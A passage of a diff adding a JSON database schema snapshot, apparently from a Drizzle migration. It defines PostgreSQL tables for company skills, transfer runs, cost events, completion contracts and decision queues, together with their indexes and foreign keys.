"company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skills_company_name_idx": { + "name": "company_skills_company_name_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skills_company_folder_idx": { + "name": "company_skills_company_folder_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "folder_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skills_company_categories_idx": { + "name": "company_skills_company_categories_idx", + "columns": [ + { + "expression": "categories", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + }, + "company_skills_company_sharing_scope_idx": { + "name": "company_skills_company_sharing_scope_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "sharing_scope", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skills_company_current_version_idx": { + "name": "company_skills_company_current_version_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "current_version_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_skills_company_forked_from_idx": { + "name": "company_skills_company_forked_from_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "forked_from_skill_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_skills_company_id_companies_id_fk": { + "name": "company_skills_company_id_companies_id_fk", + "tableFrom": "company_skills", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "company_skills_folder_id_folders_id_fk": { + "name": "company_skills_folder_id_folders_id_fk", + "tableFrom": "company_skills", + "columnsFrom": [ + "folder_id" + ], + "tableTo": "folders", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_skills_forked_from_skill_id_company_skills_id_fk": { + "name": "company_skills_forked_from_skill_id_company_skills_id_fk", + "tableFrom": "company_skills", + "columnsFrom": [ + "forked_from_skill_id" + ], + "tableTo": "company_skills", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_skills_forked_from_company_id_companies_id_fk": { + "name": "company_skills_forked_from_company_id_companies_id_fk", + "tableFrom": "company_skills", + "columnsFrom": [ + "forked_from_company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_skills_current_version_id_company_skill_versions_id_fk": { + "name": "company_skills_current_version_id_company_skill_versions_id_fk", + "tableFrom": "company_skills", + "columnsFrom": [ + "current_version_id" + ], + "tableTo": "company_skill_versions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_transfer_runs": { + "name": "company_transfer_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "direction": { + "name": "direction", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "actor_key": { + "name": "actor_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "container_ref": { + "name": "container_ref", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "manifest_sha256": { + "name": "manifest_sha256", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "manifest": { + "name": "manifest", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "chunk_count": { + "name": "chunk_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "blob_count": { + "name": "blob_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "completed_parts": { + "name": "completed_parts", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_transfer_runs_company_idx": { + "name": "company_transfer_runs_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_transfer_runs_idempotency_direction_idx": { + "name": "company_transfer_runs_idempotency_direction_idx", + "columns": [ + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "direction", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_transfer_runs_actor_status_idx": { + "name": "company_transfer_runs_actor_status_idx", + "columns": [ + { + "expression": "actor_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_transfer_runs_company_id_companies_id_fk": { + "name": "company_transfer_runs_company_id_companies_id_fk", + "tableFrom": "company_transfer_runs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_user_sidebar_preferences": { + "name": "company_user_sidebar_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "project_order": { + "name": "project_order", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_user_sidebar_preferences_company_idx": { + "name": "company_user_sidebar_preferences_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_user_sidebar_preferences_user_idx": { + "name": "company_user_sidebar_preferences_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_user_sidebar_preferences_company_user_uq": { + "name": "company_user_sidebar_preferences_company_user_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_user_sidebar_preferences_company_id_companies_id_fk": { + "name": "company_user_sidebar_preferences_company_id_companies_id_fk", + "tableFrom": "company_user_sidebar_preferences", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.completion_contracts": { + "name": "completion_contracts", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "revision": { + "name": "revision", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "schema_version": { + "name": "schema_version", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "policy_version": { + "name": "policy_version", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "risk": { + "name": "risk", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "completion_authority": { + "name": "completion_authority", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "incomplete_criteria_policy": { + "name": "incomplete_criteria_policy", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "contract_json": { + "name": "contract_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "canonical_sha256": { + "name": "canonical_sha256", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_actor_type": { + "name": "created_by_actor_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_actor_id": { + "name": "created_by_actor_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "supersedes_contract_id": { + "name": "supersedes_contract_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "completion_contracts_issue_revision_uq": { + "name": "completion_contracts_issue_revision_uq", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "revision", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "completion_contracts_issue_hash_uq": { + "name": "completion_contracts_issue_hash_uq", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "canonical_sha256", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "completion_contracts_company_id_companies_id_fk": { + "name": "completion_contracts_company_id_companies_id_fk", + "tableFrom": "completion_contracts", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "completion_contracts_issue_company_fk": { + "name": "completion_contracts_issue_company_fk", + "tableFrom": "completion_contracts", + "columnsFrom": [ + "company_id", + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "company_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "completion_contracts_supersedes_owner_fk": { + "name": "completion_contracts_supersedes_owner_fk", + "tableFrom": "completion_contracts", + "columnsFrom": [ + "company_id", + "issue_id", + "supersedes_contract_id" + ], + "tableTo": "completion_contracts", + "columnsTo": [ + "company_id", + "issue_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "completion_contracts_company_issue_id_uq": { + "name": "completion_contracts_company_issue_id_uq", + "columns": [ + "company_id", + "issue_id", + "id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.cost_events": { + "name": "cost_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "goal_id": { + "name": "goal_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "heartbeat_run_id": { + "name": "heartbeat_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "billing_code": { + "name": "billing_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "biller": { + "name": "biller", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "billing_type": { + "name": "billing_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "cost_status": { + "name": "cost_status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'reported'" + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "input_tokens": { + "name": "input_tokens", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "cached_input_tokens": { + "name": "cached_input_tokens", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "output_tokens": { + "name": "output_tokens", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "cost_cents": { + "name": "cost_cents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "occurred_at": { + "name": "occurred_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "cost_events_company_occurred_idx": { + "name": "cost_events_company_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cost_events_company_agent_occurred_idx": { + "name": "cost_events_company_agent_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cost_events_company_provider_occurred_idx": { + "name": "cost_events_company_provider_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cost_events_company_biller_occurred_idx": { + "name": "cost_events_company_biller_occurred_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "biller", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "occurred_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "cost_events_company_heartbeat_run_idx": { + "name": "cost_events_company_heartbeat_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "heartbeat_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "cost_events_company_id_companies_id_fk": { + "name": "cost_events_company_id_companies_id_fk", + "tableFrom": "cost_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "cost_events_agent_id_agents_id_fk": { + "name": "cost_events_agent_id_agents_id_fk", + "tableFrom": "cost_events", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "cost_events_issue_id_issues_id_fk": { + "name": "cost_events_issue_id_issues_id_fk", + "tableFrom": "cost_events", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "cost_events_project_id_projects_id_fk": { + "name": "cost_events_project_id_projects_id_fk", + "tableFrom": "cost_events", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "cost_events_goal_id_goals_id_fk": { + "name": "cost_events_goal_id_goals_id_fk", + "tableFrom": "cost_events", + "columnsFrom": [ + "goal_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "cost_events_heartbeat_run_id_heartbeat_runs_id_fk": { + "name": "cost_events_heartbeat_run_id_heartbeat_runs_id_fk", + "tableFrom": "cost_events", + "columnsFrom": [ + "heartbeat_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.decision_archive_notification_outbox": { + "name": "decision_archive_notification_outbox", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_id": { + "name": "source_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "archive_version": { + "name": "archive_version", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "origin_agent_id": { + "name": "origin_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "origin_issue_id": { + "name": "origin_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "attempt_count": { + "name": "attempt_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_attempt_at": { + "name": "last_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "delivered_at": { + "name": "delivered_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_archive_notification_outbox_uq": { + "name": "decision_archive_notification_outbox_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archive_version", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_archive_notification_outbox_pending_idx": { + "name": "decision_archive_notification_outbox_pending_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_archive_notification_outbox_company_id_companies_id_fk": { + "name": "decision_archive_notification_outbox_company_id_companies_id_fk", + "tableFrom": "decision_archive_notification_outbox", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_archive_notification_outbox_origin_agent_id_agents_id_fk": { + "name": "decision_archive_notification_outbox_origin_agent_id_agents_id_fk", + "tableFrom": "decision_archive_notification_outbox", + "columnsFrom": [ + "origin_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "decision_archive_notification_outbox_status_check": { + "name": "decision_archive_notification_outbox_status_check", + "value": "\"decision_archive_notification_outbox\".\"status\" IN ('pending', 'delivering', 'delivered')" + } + }, + "isRLSEnabled": false + }, + "public.decision_queue_items": { + "name": "decision_queue_items", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "queue_id": { + "name": "queue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_id": { + "name": "source_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "added_by_type": { + "name": "added_by_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "added_by_agent_id": { + "name": "added_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "added_by_user_id": { + "name": "added_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "added_by_run_id": { + "name": "added_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "added_by_agent_api_key_id": { + "name": "added_by_agent_api_key_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_queue_items_queue_source_uq": { + "name": "decision_queue_items_queue_source_uq", + "columns": [ + { + "expression": "queue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_queue_items_company_source_idx": { + "name": "decision_queue_items_company_source_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_queue_items_company_id_companies_id_fk": { + "name": "decision_queue_items_company_id_companies_id_fk", + "tableFrom": "decision_queue_items", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_queue_items_added_by_agent_id_agents_id_fk": { + "name": "decision_queue_items_added_by_agent_id_agents_id_fk", + "tableFrom": "decision_queue_items", + "columnsFrom": [ + "added_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk": { + "name": "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "decision_queue_items", + "columnsFrom": [ + "added_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk": { + "name": "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk", + "tableFrom": "decision_queue_items", + "columnsFrom": [ + "added_by_agent_api_key_id" + ], + "tableTo": "agent_api_keys", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_queue_items_queue_company_fk": { + "name": "decision_queue_items_queue_company_fk", + "tableFrom": "decision_queue_items", + "columnsFrom": [ + "queue_id", + "company_id" + ], + "tableTo": "decision_queues", + "columnsTo": [ + "id", + "company_id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "decision_queue_items_actor_check": { + "name": "decision_queue_items_actor_check", + "value": "(\n (\"decision_queue_items\".\"added_by_type\" = 'agent' AND \"decision_queue_items\".\"added_by_agent_id\" IS NOT NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n OR (\"decision_queue_items\".\"added_by_type\" = 'user' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NOT NULL)\n OR (\"decision_queue_items\".\"added_by_type\" = 'system' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n )" + } + }, + "isRLSEnabled": false + }, + "public.decision_queues": { + "name": "decision_queues", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_type": { + "name": "created_by_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_api_key_id": { + "name": "created_by_agent_api_key_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "retention_days": { + "name": "retention_days", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "seed_rules": { + "name": "seed_rules", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "seed_rules_enabled": { + "name": "seed_rules_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "decision_queues_company_key_uq": { + "name": "decision_queues_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "decision_queues_company_updated_idx": { + "name": "decision_queues_company_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "decision_queues_company_id_companies_id_fk": { + "name": "decision_queues_company_id_companies_id_fk", + "tableFrom": "decision_queues", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "decision_queues_created_by_agent_id_agents_id_fk": { + "name": "decision_queues_created_by_agent_id_agents_id_fk", + "tableFrom": "decision_queues", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_queues_created_by_run_id_heartbeat_runs_id_fk": { + "name": "decision_queues_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "decision_queues", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk": { + "name": "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk", + "tableFrom": "decision_queues", + "columnsFrom": [ + "created_by_agent_api_key_id" + ], + "tableTo": "agent_api_keys", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "decision_queues_id_company_uq": { + "name": "decision_queues_id_company_uq", + "columns": [ + "id", + "company_id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": { + "decision_queues_creator_check": { + "name": "decision_queues_creator_check", + "value": "(\n (\"decision_queues\".\"created_by_type\" = 